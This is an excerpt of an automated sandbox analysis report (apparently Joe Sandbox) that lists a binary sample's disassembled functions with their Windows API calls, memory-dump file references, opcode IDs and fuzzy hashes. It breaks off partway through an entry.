                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
                                                • String ID:
                                                • API String ID: 3183298772-0
                                                • Opcode ID: a357bdab099f661f4e897366a5874f83b2d589525ce1719f1ecf13ab17f6b242
                                                • Instruction ID: c5980aa4affea6f26c3cca944cc036300a03e88c1470b46bf453a7fa349c0890
                                                • Opcode Fuzzy Hash: a357bdab099f661f4e897366a5874f83b2d589525ce1719f1ecf13ab17f6b242
                                                • Instruction Fuzzy Hash: AB5164B24183495BCB25EB94DC819EFB3DCAF84390F00492EF689D3151EF74A598CB66
                                                Function 0031B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                  • Part of subcall function 0031C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0031B6AE,?,?), ref: 0031C9B5
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031C9F1
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031CA68
                                                  • Part of subcall function 0031C998: _wcslen.LIBCMT ref: 0031CA9E
                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0031BAA5
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0031BB00
                                                • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0031BB63
                                                • RegCloseKey.ADVAPI32(?,?), ref: 0031BBA6
                                                • RegCloseKey.ADVAPI32(00000000), ref: 0031BBB3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
                                                • String ID:
                                                • API String ID: 826366716-0
                                                • Opcode ID: e8693b01cad2fa96cdbe56efe8a1429996605249c4346dc2540560e429c037a8
                                                • Instruction ID: 3c2fddfce7e468e34b43089d99c4e0eb616402a31147de596fd55fe6092aef16
                                                • Opcode Fuzzy Hash: e8693b01cad2fa96cdbe56efe8a1429996605249c4346dc2540560e429c037a8
                                                • Instruction Fuzzy Hash: 2B61B231118241EFD719DF14C490E6ABBE9FF88308F15855CF4994B2A2CB31ED85CB92
                                                Function 002F8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON
                                                Download Yara Rule
                                                APIs
                                                • VariantInit.OLEAUT32(?), ref: 002F8BCD
                                                • VariantClear.OLEAUT32 ref: 002F8C3E
                                                • VariantClear.OLEAUT32 ref: 002F8C9D
                                                • VariantClear.OLEAUT32(?), ref: 002F8D10
                                                • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 002F8D3B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Variant$Clear$ChangeInitType
                                                • String ID:
                                                • API String ID: 4136290138-0
                                                • Opcode ID: 4566d56f98e2b22d9e623116f3680136b610217a6d67b832d52dfb41d51cdc05
                                                • Instruction ID: 985a19a066991dfde60cee13f4492e8e5972cb94590e46727a8233c6aaf2d08a
                                                • Opcode Fuzzy Hash: 4566d56f98e2b22d9e623116f3680136b610217a6d67b832d52dfb41d51cdc05
                                                • Instruction Fuzzy Hash: AB516AB5A10619EFCB14CF68C884AAAB7F8FF89350F158569E905DB354E730E921CF90
                                                Function 00308AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00308BAE
                                                • GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00308BDA
                                                • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00308C32
                                                • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00308C57
                                                • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00308C5F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: PrivateProfile$SectionWrite$String
                                                • String ID:
                                                • API String ID: 2832842796-0
                                                • Opcode ID: 9ce5aad136995b1083c1ec59bf301efa2bb54b9e4824b30542eb7cb20b512de7
                                                • Instruction ID: 0bace40f09ed71e8584f54827dd3858d275abea8ba4d2e9e6023d396d67d083e
                                                • Opcode Fuzzy Hash: 9ce5aad136995b1083c1ec59bf301efa2bb54b9e4824b30542eb7cb20b512de7
                                                • Instruction Fuzzy Hash: F6513635A10214AFDF15DF64C880A6ABBF5BF49314F098458E849AB3A2DB35ED51CF90
                                                Function 00318EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryW.KERNEL32(?,00000000,?), ref: 00318F40
                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00318FD0
                                                • GetProcAddress.KERNEL32(00000000,00000000), ref: 00318FEC
                                                • GetProcAddress.KERNEL32(00000000,?), ref: 00319032
                                                • FreeLibrary.KERNEL32(00000000), ref: 00319052
                                                  • Part of subcall function 002AF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00301043,?,7735E610), ref: 002AF6E6
                                                  • Part of subcall function 002AF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,002EFA64,00000000,00000000,?,?,00301043,?,7735E610,?,002EFA64), ref: 002AF70D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                                • String ID:
                                                • API String ID: 666041331-0
                                                • Opcode ID: d671ac0ac291c3b5bacfef93e3927fcbf3fb08b257bf81b78678b670eedfc42e
                                                • Instruction ID: b47fa12a472e52200754511f2f8bca0b69ab78663da07f11b8853cc5b35035c8
                                                • Opcode Fuzzy Hash: d671ac0ac291c3b5bacfef93e3927fcbf3fb08b257bf81b78678b670eedfc42e
                                                • Instruction Fuzzy Hash: 1A514934604205DFCB16DF68C4949ADBBB1FF4D324B058099E8069B362DB31ED86CF90
                                                Function 00326B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SetWindowLongW.USER32(00000002,000000F0,?), ref: 00326C33
                                                • SetWindowLongW.USER32(?,000000EC,?), ref: 00326C4A
                                                • SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00326C73
                                                • ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,0030AB79,00000000,00000000), ref: 00326C98
                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00326CC7
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$Long$MessageSendShow
                                                • String ID:
                                                • API String ID: 3688381893-0
                                                • Opcode ID: 51c533729a2f93812719b4719f6861007e16c6328e714cc209ddfc350c1bffd5
                                                • Instruction ID: aba5731c21535decc42b74e2b41e78280c8b916c8f1c615c8a64c6d60798d311
                                                • Opcode Fuzzy Hash: 51c533729a2f93812719b4719f6861007e16c6328e714cc209ddfc350c1bffd5
                                                • Instruction Fuzzy Hash: F141E835604134AFD726EF28DC56FA97BA9EF09360F160268F895A72E0C371ED41CA90
                                                Function 002C2051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _free
                                                • String ID:
                                                • API String ID: 269201875-0
                                                • Opcode ID: 16da8f8eabec549dc32d0a01a8aacd6ce091af0063915011ed28e15403ec4753
                                                • Instruction ID: 44970fcc8c26523d36fa5e18fed4041e52c9116628b50b956dc74d865c1450ee
                                                • Opcode Fuzzy Hash: 16da8f8eabec549dc32d0a01a8aacd6ce091af0063915011ed28e15403ec4753
                                                • Instruction Fuzzy Hash: 3741CF32A20200DFCB24DF78C981F5DB7A5EF99314F1546ADE615EB392DA31AD15CB80
                                                Function 002A912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCursorPos.USER32(?), ref: 002A9141
                                                • ScreenToClient.USER32(00000000,?), ref: 002A915E
                                                • GetAsyncKeyState.USER32(00000001), ref: 002A9183
                                                • GetAsyncKeyState.USER32(00000002), ref: 002A919D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AsyncState$ClientCursorScreen
                                                • String ID:
                                                • API String ID: 4210589936-0
                                                • Opcode ID: e39f0742515c95facceb6d121e8f0fc06108e1377d30ba4ffc7c1a2a5d89c255
                                                • Instruction ID: 13c31c892e7c0cb00f64f5de3c57ca929ebbd056c93fbe9b383e0f5e1e1ef947
                                                • Opcode Fuzzy Hash: e39f0742515c95facceb6d121e8f0fc06108e1377d30ba4ffc7c1a2a5d89c255
                                                • Instruction Fuzzy Hash: 7141603191865BFBDF159F6AC844BEEB774FF06320F204219E429A7290CB7459A0DF51
                                                Function 00303874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetInputState.USER32 ref: 003038CB
                                                • TranslateAcceleratorW.USER32(?,00000000,?), ref: 00303922
                                                • TranslateMessage.USER32(?), ref: 0030394B
                                                • DispatchMessageW.USER32(?), ref: 00303955
                                                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00303966
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Message$Translate$AcceleratorDispatchInputPeekState
                                                • String ID:
                                                • API String ID: 2256411358-0
                                                • Opcode ID: 04d58683d7a89f462c4135e6564aacd0a8829c50799bb0ab194313d6daf790e8
                                                • Instruction ID: 1a8a3cd8314eeb084f40dbb8622316e6406a172008d65689b942b4b2b9ef6774
                                                • Opcode Fuzzy Hash: 04d58683d7a89f462c4135e6564aacd0a8829c50799bb0ab194313d6daf790e8
                                                • Instruction Fuzzy Hash: 0931D3709163419EEB37CB349868BB63BACEB06304F19856DE462C31E0E3F49A85CB51
                                                Function 0030CF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,0030C21E,00000000), ref: 0030CF38
                                                • InternetReadFile.WININET(?,00000000,?,?), ref: 0030CF6F
                                                • GetLastError.KERNEL32(?,00000000,?,?,?,0030C21E,00000000), ref: 0030CFB4
                                                • SetEvent.KERNEL32(?,?,00000000,?,?,?,0030C21E,00000000), ref: 0030CFC8
                                                • SetEvent.KERNEL32(?,?,00000000,?,?,?,0030C21E,00000000), ref: 0030CFF2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: EventInternet$AvailableDataErrorFileLastQueryRead
                                                • String ID:
                                                • API String ID: 3191363074-0
                                                • Opcode ID: 7ca10cb34259503574f1763666bacf123fbd6ac19232a778ff67ba93bc946deb
                                                • Instruction ID: 4781bb71320efca8a2e6bc91fae8bd1b09ca6f46b69a668ed947828e21d382cd
                                                • Opcode Fuzzy Hash: 7ca10cb34259503574f1763666bacf123fbd6ac19232a778ff67ba93bc946deb
                                                • Instruction Fuzzy Hash: AC319A71621206EFDB22CFA5C994AAFBBFDEF00310B10552EF506D2181DB30AE41DB61
                                                Function 002F1901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetWindowRect.USER32(?,?), ref: 002F1915
                                                • PostMessageW.USER32(00000001,00000201,00000001), ref: 002F19C1
                                                • Sleep.KERNEL32(00000000,?,?,?), ref: 002F19C9
                                                • PostMessageW.USER32(00000001,00000202,00000000), ref: 002F19DA
                                                • Sleep.KERNEL32(00000000,?,?,?,?), ref: 002F19E2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessagePostSleep$RectWindow
                                                • String ID:
                                                • API String ID: 3382505437-0
                                                • Opcode ID: a0731a00495543ad445b9ebcd4e226b80f3819782ff7f1a84e9b87dae0ebbda4
                                                • Instruction ID: 2468e48bae5049fbc1e76a76632d9ac278d8f4b78a105e85ec6971b160e024c7
                                                • Opcode Fuzzy Hash: a0731a00495543ad445b9ebcd4e226b80f3819782ff7f1a84e9b87dae0ebbda4
                                                • Instruction Fuzzy Hash: F431F67191021DEFCB14CFA8CD59AEEBBB5EB04314F404229FA21A72D0C3B09D64CB90
                                                Function 00325706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00325745
                                                • SendMessageW.USER32(?,00001074,?,00000001), ref: 0032579D
                                                • _wcslen.LIBCMT ref: 003257AF
                                                • _wcslen.LIBCMT ref: 003257BA
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00325816
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: MessageSend$_wcslen
                                                • String ID:
                                                • API String ID: 763830540-0
                                                • Opcode ID: f9296be0f29d8d19649a33504ff75102a52cad02a64483879a5ee74aeb585da4
                                                • Instruction ID: b3bb1e68905612c7bc7c9b4e1231c08d333c23855c13b4b5c2e5f5641fb5635f
                                                • Opcode Fuzzy Hash: f9296be0f29d8d19649a33504ff75102a52cad02a64483879a5ee74aeb585da4
                                                • Instruction Fuzzy Hash: 3121B631904628DADB229F65EC84AEDB7BCFF04720F108216F929EB180D770CA85CF50
                                                Function 00310930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
                                                Download Yara Rule
                                                APIs
                                                • IsWindow.USER32(00000000), ref: 00310951
                                                • GetForegroundWindow.USER32 ref: 00310968
                                                • GetDC.USER32(00000000), ref: 003109A4
                                                • GetPixel.GDI32(00000000,?,00000003), ref: 003109B0
                                                • ReleaseDC.USER32(00000000,00000003), ref: 003109E8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$ForegroundPixelRelease
                                                • String ID:
                                                • API String ID: 4156661090-0
                                                • Opcode ID: 6719348b22cbc52b4e70528012357e7bd268abc8fe475d9054e2e239a9a7f29d
                                                • Instruction ID: 8217853af895ab53585ce02ba613da3e8a3c0a05ad406414dd10f4101e2245f4
                                                • Opcode Fuzzy Hash: 6719348b22cbc52b4e70528012357e7bd268abc8fe475d9054e2e239a9a7f29d
                                                • Instruction Fuzzy Hash: E521A135610204AFD715EF65D894AAEBBF9EF48700F14802CE84A9B762CB70AC44CB90
                                                Function 002CCDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetEnvironmentStringsW.KERNEL32 ref: 002CCDC6
                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002CCDE9
                                                  • Part of subcall function 002C3820: RtlAllocateHeap.NTDLL(00000000,?,00361444,?,002AFDF5,?,?,0029A976,00000010,00361440,002913FC,?,002913C6,?,00291129), ref: 002C3852
                                                • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 002CCE0F
                                                • _free.LIBCMT ref: 002CCE22
                                                • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002CCE31
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
                                                • String ID:
                                                • API String ID: 336800556-0
                                                • Opcode ID: 474cc663c8abb2cde2fcc56dfcfa53b623f98f4a61aee51bf36aa9e44085cc67
                                                • Instruction ID: 7b0c69fa6abf14af364ce156dd376f5f0f22bbeff38de1ed28b40d05d7b3c184
                                                • Opcode Fuzzy Hash: 474cc663c8abb2cde2fcc56dfcfa53b623f98f4a61aee51bf36aa9e44085cc67
                                                • Instruction Fuzzy Hash: B301D8726216157F23225A766C48E7F696DDEC7BA1325032DF909C7201DA618D2281F0
                                                Function 002A9639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON
                                                Download Yara Rule
                                                APIs
                                                • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002A9693
                                                • SelectObject.GDI32(?,00000000), ref: 002A96A2
                                                • BeginPath.GDI32(?), ref: 002A96B9
                                                • SelectObject.GDI32(?,00000000), ref: 002A96E2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ObjectSelect$BeginCreatePath
                                                • String ID:
                                                • API String ID: 3225163088-0
                                                • Opcode ID: 5059c4c41908334ee274485a8f6d4e496d6012fc02df03bbee5edac89e7998d5
                                                • Instruction ID: 0a1501db6720eac4553dcae9bd3e065a2d5cca80afef62d95e15208b823d7ff5
                                                • Opcode Fuzzy Hash: 5059c4c41908334ee274485a8f6d4e496d6012fc02df03bbee5edac89e7998d5
                                                • Instruction Fuzzy Hash: 49217F31822306EBEB129F66DC197A93BACBF01715F18821AF410A61A0D7B098A1CFD4
                                                Function 002F5711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: _memcmp
                                                • String ID:
                                                • API String ID: 2931989736-0
                                                • Opcode ID: e11812c2717bd62bf88944221602a88dcee92141856bbd0eebd70051ef83077b
                                                • Instruction ID: bf0d5b7b700e4850942664013c70d7c08e3d951f7fec3ae15022c1976e454741
